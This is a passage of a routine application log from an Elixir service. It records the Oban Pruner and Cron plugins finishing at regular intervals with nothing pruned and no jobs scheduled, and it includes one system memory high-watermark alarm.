{"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:53.842 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:00.872 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:20:23.844 [info] {"source":"oban","duration":878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:53.846 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:00.874 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:21:23.850 [info] {"source":"oban","duration":3295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:53.853 [info] {"source":"oban","duration":2334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:00.878 [info] {"source":"oban","duration":2986,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:22:23.855 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:53.857 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:00.879 [info] {"source":"oban","duration":236,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:23:23.860 [info] {"source":"oban","duration":2102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:53.862 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:00.880 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:24:23.869 [info] {"source":"oban","duration":5555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:53.871 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:00.881 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:25:23.876 [info] {"source":"oban","duration":3771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:53.878 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:00.882 [info] {"source":"oban","duration":233,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:26:23.881 [info] {"source":"oban","duration":2534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:53.885 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:00.883 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:27:23.889 [info] {"source":"oban","duration":4569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:53.891 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:00.884 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:28:23.900 [info] {"source":"oban","duration":7735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:53.909 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:00.893 [info] {"source":"oban","duration":5391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:29:23.913 [info] {"source":"oban","duration":3285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:53.917 [info] {"source":"oban","duration":2711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:00.914 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:30:23.926 [info] {"source":"oban","duration":7819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:53.930 [info] {"source":"oban","duration":1851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:00.916 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:31:23.932 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:53.934 [info] {"source":"oban","duration":855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:00.917 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:32:23.938 [info] {"source":"oban","duration":3575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:53.940 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:00.918 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:33:23.942 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:53.944 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:00.919 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:34:20.306 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 00:34:23.946 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:53.948 [info] {"source":"oban","duration":853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:00.920 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:35:23.950 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:53.953 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:00.921 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:36:23.955 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:53.957 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:00.924 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:37:23.959 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:53.963 [info] {"source":"oban","duration":3516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:00.929 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:38:23.965 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:53.967 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:00.931 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:39:23.972 [info] {"source":"oban","duration":4034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:53.975 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:00.933 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:40:23.977 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:53.979 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:00.934 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:41:23.985 [info] {"source":"oban","duration":4735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:53.987 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:00.935 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:42:23.989 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:53.991 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:00.938 [info] {"source":"oban","duration":1957,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:43:23.993 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:53.995 [info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:00.939 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:44:23.997 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:53.999 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:00.942 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:45:24.001 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:54.003 [info] {"source":"oban","duration":855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:00.943 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:46:24.006 [info] {"source":"oban","duration":2380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:54.008 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:00.944 [info] {"source":"oban","duration":253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:47:24.010 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:54.012 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:00.947 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:48:24.014 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:54.016 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:00.952 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:49:24.019 [info] {"source":"oban","duration":1799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:54.021 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:00.953 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:50:24.023 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:54.025 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:00.954 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:51:24.027 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:54.029 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:00.956 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:52:24.031 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:54.033 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:00.957 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:53:24.035 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:54.037 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:00.958 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:54:24.039 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:54.041 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:00.959 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:55:24.043 [info] {"source":"oban","duration":1153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:54.045 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:00.960 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:56:24.047 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:54.049 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:00.961 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:57:24.051 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:54.054 [info] {"source":"oban","duration":2050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:00.962 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:58:24.056 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:54.061 [info] {"source":"oban","duration":3839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:00.967 [info] {"source":"oban","duration":2900,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:59:24.063 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:54.065 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:00.968 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:00:24.076 [info] {"source":"oban","duration":10035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:54.079 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:00.969 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:01:24.081 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:54.083 [info] {"source":"oban","duration":853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:00.971 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:02:24.085 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:54.087 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:00.977 [info] {"source":"oban","duration":5287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:03:24.089 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:54.093 [info] {"source":"oban","duration":3009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:00.978 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:04:24.095 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:54.097 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:00.979 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:05:24.103 [info] {"source":"oban","duration":4918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:54.106 [info] {"source":"oban","duration":1904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:00.982 [info] {"source":"oban","duration":1686,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:06:24.108 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:54.110 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:00.984 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:07:24.112 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:54.114 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:00.984 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:08:24.116 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:54.118 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:00.985 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:09:24.120 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:54.122 [info] {"source":"oban","duration":878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:00.986 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:10:24.124 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:54.126 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:00.987 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:11:24.128 [info] {"source":"oban","duration":875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:54.130 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:00.988 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:12:24.133 [info] {"source":"oban","duration":1722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:54.135 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:00.989 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:13:24.140 [info] {"source":"oban","duration":4417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:54.143 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:00.990 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:14:24.145 [info] {"source":"oban","duration":875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:54.147 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:00.991 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:15:24.149 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:54.152 [info] {"source":"oban","duration":2418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:00.992 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:16:24.155 [info] {"source":"oban","duration":1683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:54.157 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:00.999 [info] {"source":"oban","duration":5695,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:17:24.159 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:54.163 [info] {"source":"oban","duration":3041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:01.002 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:18:24.165 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:54.167 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:00.003 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:19:24.169 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:54.171 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:00.004 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:20:24.175 [info] {"source":"oban","duration":2736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:54.177 [info] {"source":"oban","duration":881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:00.005 [info] {"source":"oban","duration":228,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:21:24.179 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:54.182 [info] {"source":"oban","duration":2333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:00.006 [info] {"source":"oban","duration":221,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:22:24.184 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:54.186 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:00.009 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:23:24.189 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:54.190 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:00.014 [info] {"source":"oban","duration":3702,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:24:24.192 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:54.195 [info] {"source":"oban","duration":1943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:00.020 [info] {"source":"oban","duration":5152,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:25:24.197 [info] {"source":"oban","duration":1003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:54.201 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:00.028 [info] {"source":"oban","duration":6690,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:26:24.203 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:54.205 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:00.040 [info] {"source":"oban","duration":10133,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:27:24.208 [info] {"source":"oban","duration":2189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:54.211 [info] {"source":"oban","duration":1731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:00.042 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:28:24.215 [info] {"source":"oban","duration":3125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:54.217 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:00.045 [info] {"source":"oban","duration":1992,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:29:24.226 [info] {"source":"oban","duration":8008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:54.228 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:00.047 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:30:24.232 [info] {"source":"oban","duration":2705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:54.234 [info] {"source":"oban","duration":878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:00.054 [info] {"source":"oban","duration":2992,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:31:24.239 [info] {"source":"oban","duration":3812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:54.243 [info] {"source":"oban","duration":2802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:00.060 [info] {"source":"oban","duration":5246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:32:24.245 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:54.247 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:00.064 [info] {"source":"oban","duration":3180,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:33:24.249 [info] {"source":"oban","duration":807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:54.251 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:00.065 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:34:24.253 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:54.255 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:00.073 [info] {"source":"oban","duration":3115,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:35:24.257 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:54.260 [info] {"source":"oban","duration":2085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:00.076 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:36:24.262 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:54.264 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:00.077 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:37:24.266 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:54.269 [info] {"source":"oban","duration":1725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:00.118 [info] {"source":"oban","duration":2633,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:38:24.271 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:54.273 [info] 